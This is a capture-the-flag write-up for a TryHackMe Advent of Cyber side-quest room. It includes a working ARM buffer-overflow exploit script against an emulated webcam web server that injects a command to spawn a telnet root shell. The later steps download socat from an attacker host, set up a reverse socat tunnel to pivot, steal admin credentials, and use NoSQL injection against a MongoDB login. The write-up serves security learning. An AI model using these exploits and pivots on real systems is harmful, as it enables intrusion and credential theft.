AoCyber: Part 2 Take 2

TL;DR: Root the webcam with directory traversal and buffer overflow, use that to pivot to CyberPolice network with proxy hops and NoSQLi to get the yeti keys.

AoCyber: Part 2 Take 2

If you found this post, you probably already found

See this years' other rooms as well:

SQ 1: Day 0
SQ 2: Day 6
SQ 3: Day 11
SQ 4: Day 20

Preface: This is a second solution to Part 2 that is (hopefully) the intended path. If you want to see the previous write-ups with the unintended path that I took which no longer work you can find them here:

SQ2-0 <- Still relevant path to finding the QR code to the room
SQ2-1 <- Unintended path
SQ2-3 <- Details about how I played with the overflow functions


└─$ nmap -sC -sV -p- -vv --min-rate=1500
Not shown: 65531 closed tcp ports (conn-refused)
22/tcp    open  ssh        syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
23/tcp    open  tcpwrapped syn-ack
8080/tcp  open  http       syn-ack Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: TryHackMe | Access Forbidden - 403
50628/tcp open  unknown    syn-ack
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.0 302 Redirect
|     Server: Webs
|     Date: Wed Dec 31 19:01:59 1969
|     Pragma: no-cache
|     Cache-Control: no-cache
|     Content-Type: text/html
|     Location: http://NC-227WF-HD-720P:50628/default.asp
|     <html><head></head><body>
|     This document has moved to a new <a href="http://NC-227WF-HD-720P:50628/default.asp">location</a>.
Nmap done: 1 IP address (1 host up) scanned in 161.07 seconds

We find 3 ports. 23, 8080, and 50628.

└─$ nc 23    
(UNKNOWN) [] 23 (telnet) : Connection refused

Checking the telnet port, we can see that there's nothing for us to get into yet.

└─$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,js,html,php -t 40 --timeout=6s -o gobuster-task.txt --retry -b 403,404
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt,js
[+] Timeout:                 6s
Starting gobuster in directory enumeration mode
/demo                 (Status: 200) [Size: 41]
/vendor               (Status: 301) [Size: 318] [-->]
/403.html             (Status: 200) [Size: 933]

Quick look at the 8080 port, we find a /demo folder, and a /vendor folder. Let's check a quick look through with Nikto...

└─$ nikto -host
- Nikto v2.5.0
+ Target IP:
+ Target Hostname:
+ Target Port:        8080
+ Start Time:         2023-12-28 08:49:55 (GMT-8)
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See:
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See:
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /index.php/123: Retrieved x-powered-by header: PHP/8.1.26.
+ /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version. See:

And we find an index.php and /.DS_Store

And browsing to the site, we see an image that will haunt us to the end of our days.

The screenshot here shows us login.php/123 from the unintended solution, but the index.php/ will show the same error.

However the DS_Store can be obtained from the site just fine. Likely this isn't caught in the .php location block filters that are serving 403s everywhere.

DS_Store is recognizable if you've ever touched a folder with a Mac file explorer, it contains metadata about the path to enrich the experience for the user. This time, however: WE'RE the user!

GitHub - gehaxelt/Python-dsstore: A library for parsing .DS_Store files and extracting file names
A library for parsing .DS_Store files and extracting file names - GitHub - gehaxelt/Python-dsstore: A library for parsing .DS_Store files and extracting file names

This tool is the first result I found to decode the DS_Store file, but one can get a messier output from a simple sed command.

└─$ cp ~/Downloads/Untitled\(6\).DS_Store .dsstore
└─$ python3 .dsstore                  
Count:  4

First result here is our /vendor folder again. Let's see if that has another .DS_Store...

Here's a nested one!

└─$ python3 .dsstorevendor                      
Count:  20

And here we have our first application architecture clue. We see a mongoDB extension along with our other composer installed applications. Composer, per Google, is a package manager for PHP applications, which tells us the last part of our architecture puzzle.

Let's move on for now as it doesn't seem there's much else we can do here.

└─$ gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,js,html,asp -t 40 --timeout=6s -o gobuster-task.txt --retry -b 401
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   401
[+] User Agent:              gobuster/3.6
[+] Extensions:              asp,txt,js,html
[+] Timeout:                 6s
Starting gobuster in directory enumeration mode
/default.asp          (Status: 200) [Size: 133]
/mobile               (Status: 302) [Size: 212] [-->]

The last port that's open, 50628, needs some similar scanning. Dirbuster helps us find some asp surface.

└─$ nikto -host
- Nikto v2.5.0
+ Target IP:
+ Target Hostname:
+ Target Port:        50628
+ Start Time:         2023-12-28 08:50:10 (GMT-8)
+ Server: Webs
+ /: The anti-clickjacking X-Frame-Options header is not present. See:
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See:
+ Root page / redirects to:

Nikto promises us that this application is full of holes, I've truncated the output here as it was overwhelming to start validating them all. It appears that this is more likely Nikto swamping the service and locking itself out resulting in false-positives.

Browsing to the site directly gives us real clues about what we're actually looking at.

Attempting to "Enter" leads us to a default landing page and a requirement.

Here we disagree with Google as we clearly DO have many great matches for our search. This appears to be an awesome IoT vulnerability demo.

GitHub - therealsaumil/emux: EMUX Firmware Emulation Framework (formerly ARMX)
EMUX Firmware Emulation Framework (formerly ARMX). Contribute to therealsaumil/emux development by creating an account on GitHub.

This GitHub has lots of great diagrams and descriptions of the app architecture. TL;DR: This is a container that hosts QEMU that hosts a rootfs dump of our webcam, among other services.

Loading this into burpsuite we can validate our call to get more fine grained control of the requests.

# On local host in git repo

└─$ bzip2 -d rootfs.tar.bz2                                                                                                                                    
└─$ tar -xvf rootfs.tar             
└─$ find rootfs -name webs

Using the GitHub repo, we can load everything locally to verify architecture and potential vulnerabilities. The application runs a webs web server, as confirmed from our initial NMap scans, so I exfiltrated the binary to see if I could figure out what configurations it might use. I had to do this as I couldn't observe any interesting lsof data from the local container. Not that it doesn't exist: Just that I didn't find it...

Ghidra was quick and easy in showing the configuration files used by the application. I probably could have gotten this same data by just cating the binary and scrolling around.

# On local emux container:

# ls
cab          config.cfg   default.asp  en           images
cgi-bin      debug        disk         flash        mobile

# ls */*
cab/                  en/rthpd.asp

accadd.asp   accedit.asp  acclist.asp

bottom_bk.gif       menu_bk.gif         signal2.gif         top_right.png
bottom_left.gif     none.gif            signal3.gif         wait.gif
bottom_right.gif    p1.gif              signal4.gif         win_bak.jpg
frame_left_top.png  p2.gif              signal5.gif         wizard_bk.png
left_bk.gif         searching.gif       top_bk.gif
login.png           signal1.gif         top_left.png

activex_hd.asp   flash_hd.asp     hls_hd.asp       mjpeg_hd.asp     qt_hd.asp
activex_pal.asp  flash_pal.asp    hls_pal.asp      mjpeg_pal.asp    qt_pal.asp
activex_vga.asp  flash_vga.asp    hls_vga.asp      mjpeg_vga.asp    qt_vga.asp


Here we have other useful data about the application structure itself, some of these might have interesting vectors to dig into.

# cat /etc/webs/umconfig.txt 















Using this we can identify some forms that are suspicious in that they allow any amount of text into them.

sploits/ at main · 3sjay/sploits
some sploits. Contribute to 3sjay/sploits development by creating an account on GitHub.

Some Googling around on this exercise and we see several buffer overflows.


from telnetlib import Telnet
import os, struct, sys, re, socket
import time
import binascii


def pack32(value):
    return struct.pack("<I", value)  # little byte order

def pack16n(value):
    return struct.pack(">H", value)  # big/network byte order

def urlencode(buf):
    s = ""
    for b in buf:
        if re.match(r"[a-zA-Z0-9\/]", b) is None:
            s += "%%%02X" % ord(b)
            s += b
    return s


# function to create a libc gadget
# requires a global variable called libc_base
def libc(offset):
    return pack32(libc_base + offset)

# function to represent data on the stack
def data(data):
    return pack32(data)

# function to check for bad characters
# run this before sending out the payload
# e.g. detect_badchars(payload, "\x00\x0a\x0d/?")
def detect_badchars(string, badchars):
    for badchar in badchars:
        i = string.find(badchar)
        while i != -1:
            sys.stderr.write("[!] 0x%02x appears at position %d\n" % (ord(badchar), i))
            i = string.find(badchar, i+1)

##### MAIN #####

if len(sys.argv) != 3:
    print("Usage: <ip> <port>")

ip = sys.argv[1]
port = sys.argv[2]

libc_base = 0x40021000
buf = b"A" * 283
buf += b"p"

0x40060b58 <+32>:    ldr     r0, [sp, #4]
0x40060b5c <+36>:    pop     {r1, r2, r3, lr}
0x40060b60 <+40>:    bx      lr
ldr_r0_sp = pack32(0x40060b58)

# 0x00033a98: mov r0, sp; mov lr, pc; bx r3;
mov_r0 = pack32(libc_base + 0x00033a98)
system = pack32(0x4006079c)

buf += ldr_r0_sp

buf += b"BBBB"
buf += b"CCCC"
buf += system
buf += mov_r0
buf += b"telnetd${IFS}-l/bin/sh;#"

buf += b"C" * (400-len(buf))

lang = buf

request = b"GET /form/default?lang=%s HTTP/1.0\n" % lang + b"\n\n"

#print request,
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))

tn = Telnet(ip, 23)

This is a version I tweaked to work in my environment, YMMV but here's the gist of what's happening:

After lots of debugging to find the registers locations in memory via GDB, one can find how many bytes to write to fluff into the nearest vulnerable form before they can add a pointer to arbitrary code they inject. See the original buffer overflow discussion for more details about my struggles to debug this tool.

With that we can browse to the umconfig.txt we found earlier and steal the admin credentials.

And at mjpeg_vga, we have our flag. But we still need the second one and our attempts to access the 8080 web server seem unfruitful. Maybe we can get access to these resources if we prove we are an elf and come form inside the network?

└─$ python3 50628
/home/tokugero/thm/rooms/aoc2023/task2/ass/ DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13
  from telnetlib import Telnet

BusyBox v1.21.1 (2013-12-19 20:11:55 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# whoami
whoami: applet not found
# ls
bin   dev   etc   home  lib   proc  root  sbin  sys   tmp   usr   var
# id
id: applet not found
# help
Built-in commands:
        . : [ [[ alias bg break cd chdir continue echo eval exec exit
        export false fg hash help jobs kill local printf pwd read readonly
        return set shift source test times trap true type ulimit umask
        unalias unset wait

# cat /etc/passwd
cat /etc/passwd

And with this we have connected to our newly opened telnetd service opened on the existing 23 port.

static-arm-bins/socat-armel-static at master · therealsaumil/static-arm-bins
Statically compiled ARM binaries for debugging and runtime analysis - therealsaumil/static-arm-bins

To get any further, we need to add some binaries to the webcam to help us pivot around the "network". Socat is a tool that technically runs on the emux system, but we can easily guarantee we have a healthy one by hosting a copy here via the following:

└─$ python3 -m http.server --bind 9000                                                                                                                                                    
Serving HTTP on port 9000 ( ... - - [28/Dec/2023 12:14:43] "GET /socat-armel-static HTTP/1.1" 200 -
# wget http://<ATTACKIP>:9000/socat-armel-static
wget http://<ATTACKIP>:9000/socat-armel-static
Connecting to <ATTACKIP>:9000 (
# mv socat-armel-static socat 
mv socat-armel-static socat
# chmod +x socat
chmod +x socat
# socat -h
socat -h
socat by Gerhard Rieger and contributors - see
socat [options] <bi-address> <bi-address>

Here's the way to slide this bin into the webcam's DMs.

After all this work, let's prove that we actually have access to resources behind this webcam from inside the network.

└─$ socat TCP-LISTEN:8844,bind=,reuseaddr,fork TCP-LISTEN:4488,reuseaddr

#vvvv REMOTE HOST vvvv#

# while true; do socat TCP:<ATTACKIP>:8844 TCP:; done 

By using that socat binary we can open a proxy on my localhost, pass connections to a reverse shell that was opened on the remote host. The difference in this reverse shell is that it passes TCP connections to the remote IP rather than open a shell. See below for a diagram of these two commands:

In this way we can pass any type of TCP connection we want, SSH/HTTP/Whatever.

Testing our tunnel, we can see that we get the same results as the curl from the webcam shell. This proves that we're seeing what we should locally.

The same validation, but with burpsuite.

Trying one of those previously identified endpoints, we can see we get actual responses now!

Note that burpsuite comes with it's own proxy in http://localhost:8080 by default, so we're going to add that to our calls.

This allows us to intercept the calls being made to ensure they're looking like we need them to. Since this is a bit longer of a chain, it will be helpful to prove to ourselves that the calls are going where they say they are.

└─$ nikto -useproxy "http://localhost:8080" -host "http://localhost:4488"
- Nikto v2.5.0
+ Target IP:          (proxied)
+ Target Hostname:    localhost
+ Target Port:        4488
+ Proxy:              localhost:8080
+ Start Time:         2023-12-28 12:28:14 (GMT-8)
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See:
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See:
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /lists/admin/: PHPList pre 2.6.4 contains a number of vulnerabilities including remote administrative access, harvesting user info and more. Default login to admin interface is admin/phplist.
+ /ssdefs/: Siteseed pre 1.4.2 has 'major' security problems.
+ /sshome/: Siteseed pre 1.4.2 has 'major' security problems.
+ /tiki/: Tiki 1.7.2 and previous allowed restricted Wiki pages to be viewed via a 'URL trick'. Default login/pass could be admin/admin.
+ /~root/: Allowed to browse root's home directory. See:

To enumerate again and getting garbage responses, probably more false positives...

└─$ gobuster dir -u http://localhost:4488 --proxy "http://localhost:8080" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x txt,js,html,php/,php -t 40 --timeout=6s -o gobuster-task.txt --retry --exclude-length 1371 -b 401,404
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://localhost:4488
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   401,404
[+] Exclude Length:          1371
[+] Proxy:                   http://localhost:8080
[+] User Agent:              gobuster/3.6
[+] Extensions:              php/,php,txt,js,html
[+] Timeout:                 6s
Starting gobuster in directory enumeration mode
Progress: 176508 / 489864 (36.03%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 176508 / 489864 (36.03%)

And lots of missing things. I think in this case, the TCP proxy being a single threaded socat service is limiting our crawling significantly. In a real world scenario I might be willing to let this spawn one call every few seconds and let it run for a few hours/days, in this case I'm going to move on with my life and go back to what I was already poking.

In Firefox we're prompted with the same htpasswd call that the webcam asked for. Using that admin password we exfiltrated, we can get a satisfactory Authorization header and a proper redirect to a login screen.

Using that burp proxy, we can inject that auth header to every call that goes out without needing to modify our tools.

Testing the login prompt proves to us that our header injection is working, and shows us a new POST request.

Since earlier we found the MongoDB dependencies, we can try NoSQL injections like the following:

PayloadsAllTheThings/NoSQL Injection at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - swisskyrepo/PayloadsAllTheThings

PHP will blindly add parameters included in the HTTP payload before passing it into Mongo. So we can use the payloads that take advantage of that to change the original query from a "id=id" to a "id != id" without too much effort.

Here we get our first NoSQL injection confirmation, no more error messages and we get a redirect.

This is likely the first user in the DB. I'd expect this to be "admin" but it seems that this is just a regular detective.

We can change from a != clause to a regex clause and use my favorite StackOverflow answer: Negative Lookarounds


This is the result of 20-39 minutes of manually iterating through users. Could I have scripted this? Probably. Do I hate myself? Definitely. The version here is one that will get to the right answer, but short cuts some of the usernames. It would be best to do this one-user-at-a-time so you don't accidentally rule out our hero:

And with that, we have the flag. Again.

I think this remake of the exercise is much more organic and true to the room. While I wasn't excited to sit down to the same exercise again, I found that this was easily another couple hours worth of debugging and trimming to get the port relays set up properly. Ultimately: Worth the effort.

Link to the next challenge